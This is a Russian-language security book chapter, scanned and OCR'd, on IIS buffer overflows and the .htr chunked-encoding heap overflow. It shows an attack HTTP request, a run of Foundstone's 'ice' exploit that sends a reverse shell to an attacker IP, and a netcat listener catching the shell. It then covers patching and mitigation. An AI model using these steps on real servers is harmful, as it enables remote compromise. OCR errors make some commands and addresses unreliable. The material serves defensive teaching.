На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Переполнение буфера в IIS

Атаки на переполнение буфера — это "серебрянная пуля" для хакеров. При удачном расположении планет атака этого типа может позволить получить контроль над удаленной системой с помощью одного нажатия на кнопке. Служба 1IS всегда была одной из основных служб систем семейства Windows NT, которые доступны по Internet. Поэтому IIS являлась и является одной из главных целей для атак на переполнение буфера. Первой была создана программа атаки на переполнение буфера для I1S4, которая была выявлена группой еЕус Digital Security в июне 1999 года. С этого момента ежегодно выявлялись, по крайней мере, две серьезные ошибки, которые могли бы привести к переполнению буфера IIS. Особенно тяжело пришлось владельцам I1S в 2001 году, когда "черви" Code Red и Nirada заразили тысячи уязвимых серверов IIS по всему миру, используя ошибку переполнения буфера в 1IS 5.
Конечно же, для понимания этих программ атаки необходимо разобраться в том, как происходит переполнение буфера вообще. Подробное описание практического использования переполнения буфера выходит за рамки этой книги. Рассмотрим этот процесс вкратце. Переполнение буфера происходит, когда программа не выполняет проверку длины вводимых данных. Таким образом, любые неожидаемые данные ввода попадают в непредназначенную для них область стека исполнения процессора. Программист может так подобрать вводимые данные, чтобы в результате их исполнения был запущен его собственный код. Самое главное при использовании этого метода— создать так называемый код командного интерпретатора (shellcode) и разместить его в том месте, где буфер переполнится и "вылезет" в стек исполнения. Тогда код хакера окажется в определенной позиции стека, которая предоставит возможность возвращения программы (возврат функции) и, следовательно, выполнения вредоносного кода, В дальнейшем мы часто будем ссылаться на эту концепцию, а тем, кто захочет подробнее разобраться в проблеме переполнения буфера, рекомендуем обращаться к ссылкам, приведенным в разделе "Дополнительная литература и ссылки".
Перед тем как перейти к следующему материалу, мы должны обратить внимание читателей на еще один важный аспект атак на переполнение буфера. Существует два типа переполнения буфера: переполнение буфера в стеке (stack-based) и переполнение буфера в куче (heap-based). Переполнение буфера в стеке является классическим методом атаки, когда выполнение довольно легко проследить, что позволяет внедрить вредоносный код в нужное место. Переполнение буфера в куче иное — оно осуществляется, когда в программе вычисляется длина буфера, необходимая для хранения очередной партии получаемых данных. В результате выделения буфера недостаточной длины в куче возможно переполнение буфера. В целом атаки на переполнение буфера в куче сложнее аналогичных атак на переполнение буфера в стеке (дополнительную информацию можно получить из статей, ссылки на которые приведены в конце этой главы, в разделе "Дополнительная литература и ссылки").
Поскольку сервер 1IS работает в контексте учетной записи LocalSystem, атаки на переполнение буфера часто позволяют выполнить произвольные команды от имени пользователя
LocalSystem. Как было сказано в главе 2, "Архитектура системы безопасности Windows Server2003", учетная запись LocalSystem — наиболее мощная в системе Windows, а потому удаленные атаки на переполнение буфера являются заветной целью любого хакера. Последствия таких атак будут продемонстрированы в данной главе.
Переполнение буфера для файлов .htr
Популярность

9

Простота
7

Опасность
10

Степень риска
9

В июне 2001 года группа eEye Digital Security объявила об ошибке, связанной с переполнением буфера в расширении ISAP1, которое обрабатывает запросы для файлов с расширением .htr (C:\WlNNT\System32\ism.dll). Технология НТЯбыла первой попыткой Microsoft создать архитектуру для выполнения сценариев, который уже давно заменен ASP. Однако по некоторым непостижимым причинам функциональные возможности поддержки HTR поставляются совместно с сервером IIS по настоящее время (хотя они и отключены по умолчанию для 1IS 6).
Причина существования уязвимого места заключается в способе обработки расширения ISAPI HTR фрагментарного кодирования (chunked encoding). Примерно в то же время, когда была выявлена возможность переполнения буфера в HTR, уязвимые места, связанные с фрагментарным кодированием, были обнаружены в Web-серверах многих поставщиков. Фрагментарное кодирование — это опция, описанная в спецификации HTTP, позволяющая клиентам отправлять данные серверу не одним потоком, а несколькими блоками. При этом клиент может самостоятельно задавать размер такого блока. Динамическая библиотека HTR имеет ошибку при вычислении размера буфера, необходимого для сохранения блока данных, указанного клиентом. Это позволяет с помощью вредоносного запроса организовывать переполнение буфера и загружать код атаки в кучу (а не в стек).
HTTP-запрос для проведения атаки выглядит следующим образом.
POST /file.htr HTTP/1.1 Host: victini.com Transfer-Encoding: chunked
20
XXXXXXXXXJOOOOXXXXXXXXXXBUFFERO 0
0
[enter] [enter]
Здесь основной момент заключается в запросе файла с расширением . htr. Обратите внимание, что этот файл не должен существовать, он предназначен только для персадресации запроса уязвимому расширению ISAPI для поддержки HTR Безусловно, злоумышленник должен указатъогпшю chunked encoding в HTTP-заголовке и послать данные для заполнения буфера. Классический способ реализации атаки на переполнение буфера 1IS заключается в том, чтобы указать уязвимую библиотеку ISAP!, убедиться в добавлении дополнительных HTTP-заголовков (часто необходим заголовок Hos t: как показано выше) и затем ввести большой фрагмент данных для перезаписи кода.
Для переполнения буфера HTR механизм реализации несколько сложнее. Это переполнение буфера в куче, при котором для успешного добавления кода атаки в исполняемый фрагмент памяти придется постараться. В следующей атаке (1) мы продемонстрируем пример кода, созданного сотрудниками компании Foundstone в качестве доказательства существования уязвимого места. Для работы программы атаки задаются точные смещения
в памяти. Программа атаки, получившая название ice, открывает командный интерпретатор на удаленном компьютере и отправляет запрос на обратное соединение (с атакованного хоста) на предварительно заданный порт компьютера хакера. В нашем примере машина с адресом .199 является целью атаки. Она работает под управлением Windows Server 2000 с установленным Service Pack 2. Web-сервер IIS запущен на порту 81. Компьютер злоумышленника с адресом . 3 4 ожидает запросов (программа netcat) на порт 4003.
C:\>ice
IIS5 HTR remote overflow - "ice." (с) 2002, Foundstone Inc.
Usage: ice remotehost port yourhost port Oxunhandledexceptionfilter Oxjmpaddr
Example: ice victim.com Ё0 yourhost.com 5959 0x77EDF44C 0x77A02CF7

C:\>ice 192.168.234.119 SI 192.168.234.34 4003 Gx77EDF44C Ox77A02CF7
IIS5 HTR remote overflow - "ice." (c( 2002, Foundstone Inc.
connecting & sending overflow...
shellcode sent, the exploit WILL need to be executed multiple times.
waiting for reply..:
HTTP/1.1 100 Continue
Server: Microsoft-IIS/S.0
Date: Mon, 30 Jun 2003 03:03:36 GMT
C:\>ice 192.168.234.119 81 192.168.234.34 4003 0x77EDF44C 0X77A02CF7
IIS5 HTR remote overflow - "ice."
connecting & sending overflow...
(c) 2002, Foundstone Inc.
shellcode sent, the exploit WILL need to be executed multiple tiroes.
Обратите внимание, что нам пришлось выполнить программу атаки дважды, чтобы добиться нужной конфигурации памяти. Чтобы узнать, какой ущерб мы способны причинить взломанной системе, рассмотрим программу netcat. которую мы установили специально для взаимодействия с программой атаки ice. Программа netcat '"принимает" командный интерпретатор, который '■возвращается" с удаленного сервера на задаваемый порт нашего компьютера (в данном случае используется порт 4003). Необходимо предварительно отключить вес персональные брандмауэры или другие средства фильтрации сообщений. В противном случае обратное соединение окажется заблоки­рованным.
С:\>лс -1 -tv -р 4003
listening on lany] 4003 ...
connect to [192.168.234.34] from MIRAGE [1Э2.168.234.119] 3056 Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-200Q Microsoft Corp.
С:\WINNT\system32>
С:\WINNT\system3 2 >whoami
whoami
MIRAGE\IWAM_MIRAGe
Выданная здесь командная строка соответствует сеансу удаленного управления на взломанном компьютере .119 (имя хоста MIRAGE). Мы запустили утилиту whoami из набора Resource Kit с целью продемонстрировап^ что командный интерпретатор запускается в контексте учетной записи IWAM. Вданном случае расширение ISAP1 запускается вне процесса афайле dllhost. exe от имени
пользователя IWAM. Если бы это был сервер I1S4, то мы бы получили права LocalSystem, поскольку HTR для этой версии сервера по умолчанию запускается внутри процесса inetinfo. exe.
Не забывайте выходить из удаленного командного интерпретатора по правилам (с помощью команды exit). В противном случае Web-сайт по умолчанию на взломанном сервере может "зависнуть" и перестанет обслуживать запросы!
Меры противодействия переполнению буфера
Бюллетень

MS02-028

BID
4855

Исправлено в SP

3 (Windows 2000)

Фиксируется
Да

Как и большинство наиболее серьезных выявленных уязвимых мест в сервере 1IS, программа атаки на HTR использует ошибку в библиотеке ISAPI, которая поставляется с сервером IIS и по умолчанию сконфигурирована для обработки запросов определенных типов файлов {в версии 1IS 6 этот сценарий отключен по умолчанию). Как упоминалось ранее, этот фильтр ISAPI находится в файле с: \wiNNT\System32\ism.dll и обеспечивает поддержку HTR для сервера I1S. Если эта функциональная возможность не требуется для вашего Wcb-сервера, то защититься от атак на переполнение буфера можно убрав связь файлов с расширением .htr с динамической библиотекой (или удалив саму библиотеку). Тогда эта библиотека не будет загружаться в IIS-процесс при запуске сервера. Хотя некоторые программные продукты, например Outlook Web Access, в определенных случаях используют функциональные возможности HTR, но мы не знаем продукта Microsoft, работа которого напрямую зависела бы от поддержки HTR Следовательно, можно смело отключить эту функциональную возможность.
Поскольку многие проблемы безопасности связаны со взаимодействием с библиотеками ISAPI, то рассмотренная выше мера защиты является одной из важнейших для обеспечения безопасности сервера IIS.
Чтобы устранить связь библиотек DLL с расширениями файлов, в окне Internet Information Server Manager щелкните правой кнопкой мыши на нужном компьютере и выберите Properties (Свойства), а затем выберите из раскрывающегося списка Master Properties (Глобальные свойства) WW Service (WWW службы}. Щелкните" на кнопке Edit (Редактировать), затем щелкните правой кнопкой мыши на пункте Properties ol the Default Web Site (Свойства Web-сайта го умолчанию), выберите Properties (Свойства) и откройте закладку Home Directory (Домашний каталог). В разделе Application Settings (Параметры приложений) щелкните на кнопке Configuration (Настройка), откройте закладку Арр Mappings (Соответствия файлов) и удалите связь файлов с расширением . htr с библиотекой ism. dll, как показано на 4.
Компания Microsoft выпустила заплату для устранения проблемы переполнения буфера, но удаление библиотеки ISAPI является более надежным средством на случай обнаружения новых ошибок в программном коде. Заплата доступна в бюллетене безопасности Microsoft MS02-28. И последнее: бесплатное приложение Microsoft для обеспечения безопасности I1S, программа UrlScan, может быть настроена на фильтрацию IIS-запросов по нескольким параметрам. Мы рассмотрим эту программу в разделе "IISLockdown и UrlScan".

Как Правило, в журналах сервера IIS регистрируются попытки использования этого уязвимого места при получении больших post-запросов к несуществующим .htr-файлам. Сведения о попытке проведения такой атаки также можно найти в системном журнале с иденти­фикатором события 7031. Описание события выглядит следующим образом: "The World Wide Web Publishing Service terminated unexpectedly. It has done this 3 time(s)." Другие IIS-службы также сохраняют подобные записи в журнале при попытках атак (например, службы IISAdmin, SMTP, FTP И NNTP запускаются в процессе inetinfo и завершают работу при остановке этого процесса).

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика